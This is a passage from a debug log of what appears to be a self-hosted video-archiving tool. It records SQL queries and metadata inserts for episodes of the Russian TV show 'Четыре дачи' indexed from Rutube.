m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:14:52.630 [debug] QUERY OK source="media_items" db=1.4ms queue=0.2ms idle=713.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [44609] 11:14:52.638 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Домклик – сервис недвижимости номер один. На Домклик более 30 фильтров поиска идеального загородного дома. https://bit.ly/3Z1OMOD \n\nСвоё гостеприимство проявят дачники Ленинградской области. Любовь из посёлка Ропша покажет «нескучный сад». В селе Колчаново Евгения откроет двери своей вип-дачи. Полина пригласит конкурентов в посёлок Рощино на эстетическую дачу. А Татьяна из посёлка Борисово удивит своей романтической дачей. Секретами садоводства и огородничества поделится программа «Четыре дачи».", "duration" => 4274, "filename" => "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e082600 - Четыре дачи: Ленинградская область.mp4", "id" => "144a797f8ed532a2dc298bbbe7907d51", "original_url" => "https://rutube.ru/video/144a797f8ed532a2dc298bbbe7907d51/", "playlist_index" => 4, "timestamp" => 1693036815, "title" => "Четыре дачи: Ленинградская область", "upload_date" => "20230826"} 11:14:52.642 [debug] QUERY OK source="sources" db=2.4ms queue=0.7ms idle=715.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 11:14:52.647 [debug] QUERY OK source="sources" db=2.1ms queue=0.2ms idle=83.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:52.653 [debug] QUERY OK source="media_items" db=2.5ms queue=0.4ms idle=37.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-26 08:00:15Z], 5] 11:14:53.301 [debug] QUERY OK source="media_items" db=645.3ms idle=28.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Домклик – сервис недвижимости номер один. На Домклик более 30 фильтров поиска идеального загородного дома. https://bit.ly/3Z1OMOD \n\nСвоё гостеприимство проявят дачники Ленинградской области. Любовь из посёлка Ропша покажет «нескучный сад». В селе Колчаново Евгения откроет двери своей вип-дачи. Полина пригласит конкурентов в посёлок Рощино на эстетическую дачу. А Татьяна из посёлка Борисово удивит своей романтической дачей. Секретами садоводства и огородничества поделится программа «Четыре дачи».", "Четыре дачи: Ленинградская область", "6185ecf1-dbf4-478f-bda3-7a21cc5d2dc0", "144a797f8ed532a2dc298bbbe7907d51", 4274, false, "https://rutube.ru/video/144a797f8ed532a2dc298bbbe7907d51/", 4, "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e082600 - Четыре дачи: Ленинградская область.mp4", false, false, false, 5, [], 1, ~U[2023-08-26 08:00:15Z], ~U[2025-12-09 08:14:52Z], ~U[2025-12-09 08:14:52Z], "Домклик – сервис недвижимости номер один. На Домклик более 30 фильтров поиска идеального загородного дома. https://bit.ly/3Z1OMOD \n\nСвоё гостеприимство проявят дачники Ленинградской области. Любовь из посёлка Ропша покажет «нескучный сад». В селе Колчаново Евгения откроет двери своей вип-дачи. Полина пригласит конкурентов в посёлок Рощино на эстетическую дачу. А Татьяна из посёлка Борисово удивит своей романтической дачей. Секретами садоводства и огородничества поделится программа «Четыре дачи».", "Четыре дачи: Ленинградская область", "144a797f8ed532a2dc298bbbe7907d51", 4274, false, "https://rutube.ru/video/144a797f8ed532a2dc298bbbe7907d51/", "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e082600 - Четыре дачи: Ленинградская область.mp4", false, 5, ~U[2023-08-26 08:00:15Z]] 11:14:53.340 [debug] QUERY OK source="sources" db=36.2ms queue=1.1ms idle=659.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:53.342 [debug] QUERY OK source="media_profiles" db=1.5ms queue=0.1ms idle=693.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:14:53.345 [debug] QUERY OK source="media_items" db=2.0ms idle=689.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [44610] 11:14:53.346 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Домклик – сервис недвижимости номер один. На Домклик большое количество проектов домов от проверенных подрядчиков, аккредитованных Сбербанком: https://bit.ly/3YR2O5H \n\nЧетыре дачницы Вологодской области покажут свои загородные дома, сады и огороды. Елена из деревни Ирма пригласит на свою эффектную дачу, Евгения из деревни Кононово – на дачу позитивного настроения, Марина из города Сокол – на дачу Золушки, а Анна из деревни Канищево – на энергосберегающую дачу. А чем участницы угостят соперниц и как будут развлекать, смотрите в программе «Четыре дачи».", "duration" => 3961, "filename" => "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e090200 - Четыре дачи: Вологодская область.mp4", "id" => "eb5965611817d566c213266d02594bd0", "original_url" => "https://rutube.ru/video/eb5965611817d566c213266d02594bd0/", "playlist_index" => 5, "timestamp" => 1693641013, "title" => "Четыре дачи: Вологодская область", "upload_date" => "20230902"} 11:14:53.349 [debug] QUERY OK source="sources" db=1.5ms queue=0.7ms idle=364.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 11:14:53.351 [debug] QUERY OK source="sources" db=0.8ms queue=0.4ms idle=49.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:53.354 [debug] QUERY OK source="media_items" db=2.2ms queue=0.1ms idle=12.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-02 07:50:13Z], 5] 11:14:54.017 [debug] QUERY OK source="media_items" db=660.8ms idle=12.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Домклик – сервис недвижимости номер один. На Домклик большое количество проектов домов от проверенных подрядчиков, аккредитованных Сбербанком: https://bit.ly/3YR2O5H \n\nЧетыре дачницы Вологодской области покажут свои загородные дома, сады и огороды. Елена из деревни Ирма пригласит на свою эффектную дачу, Евгения из деревни Кононово – на дачу позитивного настроения, Марина из города Сокол – на дачу Золушки, а Анна из деревни Канищево – на энергосберегающую дачу. А чем участницы угостят соперниц и как будут развлекать, смотрите в программе «Четыре дачи».", "Четыре дачи: Вологодская область", "28d24f1d-be80-44b5-b95c-5f8af84cc5f7", "eb5965611817d566c213266d02594bd0", 3961, false, "https://rutube.ru/video/eb5965611817d566c213266d02594bd0/", 5, "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e090200 - Четыре дачи: Вологодская область.mp4", false, false, false, 5, [], 1, ~U[2023-09-02 07:50:13Z], ~U[2025-12-09 08:14:53Z], ~U[2025-12-09 08:14:53Z], "Домклик – сервис недвижимости номер один. На Домклик большое количество проектов домов от проверенных подрядчиков, аккредитованных Сбербанком: https://bit.ly/3YR2O5H \n\nЧетыре дачницы Вологодской области покажут свои загородные дома, сады и огороды. Елена из деревни Ирма пригласит на свою эффектную дачу, Евгения из деревни Кононово – на дачу позитивного настроения, Марина из города Сокол – на дачу Золушки, а Анна из деревни Канищево – на энергосберегающую дачу. А чем участницы угостят соперниц и как будут развлекать, смотрите в программе «Четыре дачи».", "Четыре дачи: Вологодская область", "eb5965611817d566c213266d02594bd0", 3961, false, "https://rutube.ru/video/eb5965611817d566c213266d02594bd0/", "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e090200 - Четыре дачи: Вологодская область.mp4", false, 5, ~U[2023-09-02 07:50:13Z]] 11:14:54.066 [debug] QUERY OK source="sources" db=47.5ms queue=0.1ms idle=668.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:54.067 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.3ms idle=714.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:14:54.068 [debug] QUERY OK source="media_items" db=0.5ms idle=713.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [44611] 11:14:54.068 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Домклик – сервис недвижимости номер один. На Домклик большое количество проектов домов от проверенных подрядчиков, аккредитованных Сбербанком. https://bit.ly/44K8BLH\n\nВадим Абрамов отправляется в путешествие по дачам Золотого кольца России. В городе Ковров Владимирской области Марина покажет свою дачу-вернисаж. Егор из деревни Новый Спас Владимирской области представит свою новаторскую дачу. Эльвира из деревни Сабуриха Ивановской области расскажет, что такое художественный релакс. А в деревне Седельницы Ярославской области участники посмотрят на экзотическую дачу Оксаны. Какая фазенда одержит победу на этот раз, узнаем из программы «Четыре дачи».", "duration" => 4175, "filename" => "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e090900 - Четыре дачи: Золотое кольцо России.mp4", "id" => "7aeed4aed6af2bd09bf1becdd7db4991", "original_url" => "https://rutube.ru/video/7aeed4aed6af2bd09bf1becdd7db4991/", "playlist_index" => 6, "timestamp" => 1694245809, "title" => "Четыре дачи: Золотое кольцо России", "upload_date" => "20230909"} 11:14:54.070 [debug] QUERY OK source="sources" db=0.5ms queue=0.4ms idle=52.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 11:14:54.071 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:54.075 [debug] QUERY OK source="media_items" db=1.2ms idle=7.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-09 07:50:09Z], 5] 11:14:54.905 [debug] QUERY OK source="media_items" db=828.3ms idle=9.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Домклик – сервис недвижимости номер один. На Домклик большое количество проектов домов от проверенных подрядчиков, аккредитованных Сбербанком. https://bit.ly/44K8BLH\n\nВадим Абрамов отправляется в путешествие по дачам Золотого кольца России. В городе Ковров Владимирской области Марина покажет свою дачу-вернисаж. Егор из деревни Новый Спас Владимирской области представит свою новаторскую дачу. Эльвира из деревни Сабуриха Ивановской области расскажет, что такое художественный релакс. А в деревне Седельницы Ярославской области участники посмотрят на экзотическую дачу Оксаны. Какая фазенда одержит победу на этот раз, узнаем из программы «Четыре дачи».", "Четыре дачи: Золотое кольцо России", "c829816d-c80f-462f-8d60-512fd5cecc3b", "7aeed4aed6af2bd09bf1becdd7db4991", 4175, false, "https://rutube.ru/video/7aeed4aed6af2bd09bf1becdd7db4991/", 6, "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e090900 - Четыре дачи: Золотое кольцо России.mp4", false, false, false, 5, [], 1, ~U[2023-09-09 07:50:09Z], ~U[2025-12-09 08:14:54Z], ~U[2025-12-09 08:14:54Z], "Домклик – сервис недвижимости номер один. На Домклик большое количество проектов домов от проверенных подрядчиков, аккредитованных Сбербанком. https://bit.ly/44K8BLH\n\nВадим Абрамов отправляется в путешествие по дачам Золотого кольца России. В городе Ковров Владимирской области Марина покажет свою дачу-вернисаж. Егор из деревни Новый Спас Владимирской области представит свою новаторскую дачу. Эльвира из деревни Сабуриха Ивановской области расскажет, что такое художественный релакс. А в деревне Седельницы Ярославской области участники посмотрят на экзотическую дачу Оксаны. Какая фазенда одержит победу на этот раз, узнаем из программы «Четыре дачи».", "Четыре дачи: Золотое кольцо России", "7aeed4aed6af2bd09bf1becdd7db4991", 4175, false, "https://rutube.ru/video/7aeed4aed6af2bd09bf1becdd7db4991/", "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e090900 - Четыре дачи: Золотое кольцо России.mp4", false, 5, ~U[2023-09-09 07:50:09Z]] 11:14:54.969 [debug] QUERY OK source="sources" db=61.8ms queue=0.1ms idle=838.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:54.970 [debug] QUERY OK source="media_profiles" db=0.6ms idle=899.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:14:54.971 [debug] QUERY OK source="media_items" db=0.3ms idle=899.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [44612] 11:14:54.971 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре дачи — суббота 13:00\n\nДомклик – сервис недвижимости номер один. На Домклик легко найти дом, участок или дачу всего за пару минут. \nhttps://bit.ly/3RagHKf\n\nДачники Ленинградской области приглашают в гости. Надежда из Вилозского сельского поселения будет рада видеть конкурентов на своей плетёной даче для релакса. Ян и Татьяна из Бокситогорска покажут «бабушкину дачу». Елена из деревни Сярьги проведёт экскурсию по своей хлебосольной даче. А Елена из Гатчинского района встретит участников на фазенде «зелёный сад». Как соперники оценят гостеприимство друг друга, узнаем из программы «Четыре дачи».", "duration" => 4282, "filename" => "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e091600 - Четыре дачи: Ленинградская область 2.mp4", "id" => "bf87c1e26ab617bf5a7deaa8cc4f200a", "original_url" => "https://rutube.ru/video/bf87c1e26ab617bf5a7deaa8cc4f200a/", "playlist_index" => 7, "timestamp" => 1694849413, "title" => "Четыре дачи: Ленинградская область 2", "upload_date" => "20230916"} 11:14:54.972 [debug] QUERY OK source="sources" db=0.5ms idle=897.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 11:14:54.973 [debug] QUERY OK source="sources" db=0.2ms idle=68.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:54.974 [debug] QUERY OK source="media_items" db=0.6ms idle=4.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-16 07:30:13Z], 5] 11:14:55.517 [debug] QUERY OK source="media_items" db=542.1ms idle=4.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре дачи — суббота 13:00\n\nДомклик – сервис недвижимости номер один. На Домклик легко найти дом, участок или дачу всего за пару минут. \nhttps://bit.ly/3RagHKf\n\nДачники Ленинградской области приглашают в гости. Надежда из Вилозского сельского поселения будет рада видеть конкурентов на своей плетёной даче для релакса. Ян и Татьяна из Бокситогорска покажут «бабушкину дачу». Елена из деревни Сярьги проведёт экскурсию по своей хлебосольной даче. А Елена из Гатчинского района встретит участников на фазенде «зелёный сад». Как соперники оценят гостеприимство друг друга, узнаем из программы «Четыре дачи».", "Четыре дачи: Ленинградская область 2", "231094eb-1daf-4b28-8dd4-1640eed613e4", "bf87c1e26ab617bf5a7deaa8cc4f200a", 4282, false, "https://rutube.ru/video/bf87c1e26ab617bf5a7deaa8cc4f200a/", 7, "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e091600 - Четыре дачи: Ленинградская область 2.mp4", false, false, false, 5, [], 1, ~U[2023-09-16 07:30:13Z], ~U[2025-12-09 08:14:54Z], ~U[2025-12-09 08:14:54Z], "Четыре дачи — суббота 13:00\n\nДомклик – сервис недвижимости номер один. На Домклик легко найти дом, участок или дачу всего за пару минут. \nhttps://bit.ly/3RagHKf\n\nДачники Ленинградской области приглашают в гости. Надежда из Вилозского сельского поселения будет рада видеть конкурентов на своей плетёной даче для релакса. Ян и Татьяна из Бокситогорска покажут «бабушкину дачу». Елена из деревни Сярьги проведёт экскурсию по своей хлебосольной даче. А 